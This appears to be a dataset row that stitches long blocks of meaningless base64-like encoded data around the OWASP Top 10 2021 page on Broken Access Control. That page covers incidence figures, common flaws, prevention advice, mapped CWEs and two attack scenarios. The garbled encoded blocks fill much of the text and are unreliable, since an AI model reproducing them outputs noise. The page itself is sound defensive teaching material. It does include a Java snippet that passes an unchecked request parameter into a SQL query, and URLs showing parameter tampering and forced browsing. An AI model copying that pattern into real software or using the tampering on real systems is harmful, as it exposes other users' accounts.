LquUzuTn7g6nuuHsxHgAAEOJhRJTKkgFxhYLFJtK9/tlV1zVv/myLdj6mPbjMTEHXQHt7uL3+cGBh51c2m0/Nd3niVigvMhgS3I0neNqfIN+teEfdTmbeEjUmfZixMWz1+HF/p+L45zkmN34tvFuFapsZieZbl9/2iBsu2hT/6HFtTa8ON59dJxrybUb+G9d98Xyz6unmtl5964/19DiXZgv910kCgAohOAiAE8pXAcABBfr4v4PAIalCBt4XizguatwLx0MWrQfuw7UuF/Z3VEP++7C/ocdxGCCgNv3HrqAy5RZyOV7i0RhnH14roV++U69LEW3xfNVEGxc8bk4dnrsVxxrcl3Qp/3c/12F+oZa0Ci12J3wfoSu4uOGF2MgNtcFDV5359UwgeCctAsvNbP2/Jpn2Fl1rX2+qytICgA8S3ARgKem/vKLGg0xiVsH3egonTENNiO4CABDil1GdKcAXpJrJ4ShvQnNbMig17EgDFvoY55ZETrsTsDteyW8x3FcvzfFfWJ8gz7FrmXmip437oIgzeyoCwCl0HZ4HKoj2VnmC/q867rknRdT9xMDZTddl8WxAmXjhRdjN8+TzOda2u6D/1vtk9ICjI/n119dUDNnpwUswgIA9EhwEYCnFK4zRX2shA2UxyQovOyhe8EEAAxL9yXgefNlOy/bVLqXfgvNbJgV2OPzjvAim9r/+Tiec7l2NYHcCbh9b/r7ZHqdBccwvX0Si86vM9gSKIlA8M/dJQi7pJ67+22QgFV8PjnN/Jn4oAuN3odmNt1FndrjF8ODf3XBubG977qGDi/OYZ0l29ebe19MgPHrwGKK82tbHzwHAADfElwE4FHsAgDUQaiL0glj7a6slQd5jkUrAGAcl0IzwIvmy/PMOyEMabgislhQN0wwktL09X5knGJRKE0sbHXP/LWoK8O+AAAgAElEQVRS3tsKvD1aTLiI24I80C/BxZ8bu9vicSZBoGGeI6YTMmsDjH+GZvZ5Uh0YY6DschWQi0G5lOajBfRi59gPiT/vptYBxptJhWNjGPYsNLP7CQUWw+ref76cwjUHABiZ4CIA36q1OAbqMv4qhTCu+BKG3Qgu1sP3BADGEFc3V+QJbGK63QX2czBo96G4YN+v43wUJuqht7mkOO9660SAnejK8ei2e44ogeP6aLr7It5PGd+gLzqZPmfsa2UuC4+8H3BBnymFzNYdGP+v65SX30JEbaiyDcA1s09doCx1YPGp8fZXDKd9HO337e/tk3BsrufWYXduXXVh2D9CCK8z2LJN3VU8twkAvEBwEYBvKWBnagRsdmf1YoC66bYNAOO58AwGvCgGp5pKd9SbVVeFocRCTeFFfqbvc0+hHuxG96lHJYX9BBcfTX1f6CoM/bLI1feuRw3ux6BgTl3MhgtSxZDZ1MKybSDwv18FzVJ1YoxhxZOuu+L9KgDXzmPkZ+ww3tkEGyQcPDm3lquQYOxseJRka2LXzosuCPu/7tx6l2Rb9tO++zguaPEVAKBn/7RDAfjGp8xWg4KXCC7u7lNmE/HQF92DYTMWrACAsbQv7GMg5w/7HHjWfHnerfqeYwHc0Oahmd10HX3614YXm1noisBg7WMXbO1P20GnmX30rgW21F7/m9nDxLqKDKWcBcfis9Ct91FhEebLaQcX43f0eqLF9JAf496PjL2IQW4d104HDrSedvcYU5tvWAfN4vNVvK+46d5z3gwWlGoDZW0QK/5M5T5m3PqpeJ93PNHzau3dl3ubZrb4cl7FP++7Rcb2F0O3R93PYXdelTL3J7QIALxIcBGAb+m8A8DUmRDdT5qVKhnbg5cHADCy+bJdOfm00jASsJ32WvF3pfvsatX1YqjnFeFFvtaGFofqjnjWFUIf2OewlTbY9Vvlu2zRW4F0Pq4EF4vpPHnWFdob36AfFxa5+iJFwPt45N/3kjercNNwz8MlhMxCd0/xeF/xGDb71NUJ3Hc/a59/eG8V98XaUfeOfB0qm+r+Gf89fznnVejub749v0IXzFufQ5vWVa7Pp1D4ffA6tGjBZADgWYKLAHytfZCMD91A+XRcpFT3juxeFNLXwcsDAEijLfL8y74HnhXnaJtVB8L6HHSF/cMVkAovEg0ZWtRtGXZ3KbhYTMDtqSvXw0KOa+wqfFHpfSoM4dL18Yuxuy2GDIOLoQs6DbfgfHxOOeneE5YSQv8+bPateurg0rz/LSu8+CMHT84vNVaPhBYBgI39w64C4Adu7RQm5MjB2plOW5RKcBFepss2AKQwX7Zj8Af7HnjRfNkGnu4q3VFvu8DXcNrwYgi/pv2YJDRsaHGt7bbsfQtsJxa9PlS+18qbt2vDbvXe14REXcSGU/d9KvQrdtb7aK+upAgu5hjcG77+JY7L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A01_2021-Broken_Access_Control.md | ./Top10/2021/docs/A01_2021-Broken_Access_Control.md | # A01:2021 – Broken Access Control ![icon](assets/TOP_10_Icons_Final_Broken_Access_Control.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 34 | 55.97% | 3.81% | 6.92 | 5.93 | 94.55% | 47.72% | 318,487 | 19,013 |
## Overview
Moving up from the fifth position, 94% of applications were tested for
some form of broken access control with the average incidence rate of 3.81%, and has the most occurrences in the contributed dataset with over 318k. Notable Common Weakness Enumerations (CWEs) included are *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201:
Insertion of Sensitive Information Into Sent Data*, and *CWE-352:
Cross-Site Request Forgery*.
## Description
Access control enforces policy such that users cannot act outside of
their intended permissions. Failures typically lead to unauthorized
information disclosure, modification, or destruction of all data or
performing a business function outside the user's limits. Common access
control vulnerabilities include:
- Violation of the principle of least privilege or deny by default,
where access should only be granted for particular capabilities,
roles, or users, but is available to anyone.
- Bypassing access control checks by modifying the URL (parameter
tampering or force browsing), internal application state, or the
HTML page, or by using an attack tool modifying API requests.
- Permitting viewing or editing someone else's account, by providing
its unique identifier (insecure direct object references)
- Accessing API with missing access controls for POST, PUT and DELETE.
- Elevation of privilege. Acting as a user without being logged in or
acting as an admin when logged in as a user.
- Metadata manipulation, such as replaying or tampering with a JSON
Web Token (JWT) access control token, or a cookie or hidden field
manipulated to elevate privileges or abusing JWT invalidation.
- CORS misconfiguration allows API access from unauthorized/untrusted
origins.
- Force browsing to authenticated pages as an unauthenticated user or
to privileged pages as a standard user.
## How to Prevent
Access control is only effective in trusted server-side code or
server-less API, where the attacker cannot modify the access control
check or metadata.
- Except for public resources, deny by default.
- Implement access control mechanisms once and re-use them throughout
the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.
- Model access controls should enforce record ownership rather than
accepting that the user can create, read, update, or delete any
record.
- Unique application business limit requirements should be enforced by
domain models.
- Disable web server directory listing and ensure file metadata (e.g.,
.git) and backup files are not present within web roots.
- Log access control failures, alert admins when appropriate (e.g.,
repeated failures).
- Rate limit API and controller access to minimize the harm from
automated attack tooling.
- Stateful session identifiers should be invalidated on the server after logout.
Stateless JWT tokens should rather be short-lived so that the window of
opportunity for an attacker is minimized. For longer lived JWTs it's highly recommended to
follow the OAuth standards to revoke access.
Developers and QA staff should include functional access control unit
and integration tests.
## Example Attack Scenarios
**Scenario #1:** The application uses unverified data in a SQL call that
is accessing account information:
```
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
```
An attacker simply modifies the browser's 'acct' parameter to send
whatever account number they want. If not correctly verified, the
attacker can access any user's account.
```
https://example.com/app/accountInfo?acct=notmyacct
```
**Scenario #2:** An attacker simply forces browses to target URLs. Admin
rights are required for access to the admin page.
```
https://example.com/app/getappInfo
https://example.com/app/admin_getappInfo
```
If an unauthenticated user can access either page, it's a flaw. If a
non-admin can access the admin page, this is a flaw.
## References
- [OWASP Proactive Controls: Enforce Access
Controls](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls)
- [OWASP Application Security Verification Standard: V4 Access
Control](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: Authorization
Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)
- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)
- [PortSwigger: Exploiting CORS
misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)
## List of Mapped CWEs
[CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)
[CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)
[CWE-35 Path Traversal: '.../...//'](https://cwe.mitre.org/data/definitions/35.html)
[CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)
[CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)
[CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)
[CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)
[CWE-264 Permissions, Privileges, and Access Controls (should no longer be used)](https://cwe.mitre.org/data/definitions/264.html)
[CWE-275 Permission Issues](https://cwe.mitre.org/data/definitions/275.html)
[CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)
[CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)
[CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)
[CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)
[CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)
[CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)
[CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)
[CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)
[CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)
[CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)
[CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)
[CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)
[CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)
[CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)
[CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)
[CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)
[CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
[CWE-651 Exposure of WSDL File Containing Sensitive Information](https://cwe.mitre.org/data/definitions/651.html)
[CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)
[CWE-706 Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)
[CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)
[CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)
[CWE-913 Improper Control of Dynamically-Managed Code Resources](https://cwe.mitre.org/data/definitions/913.html)
[CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)
[CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)
| 9,305 | 0.008876 | # A01:2021 – Broken Access Control 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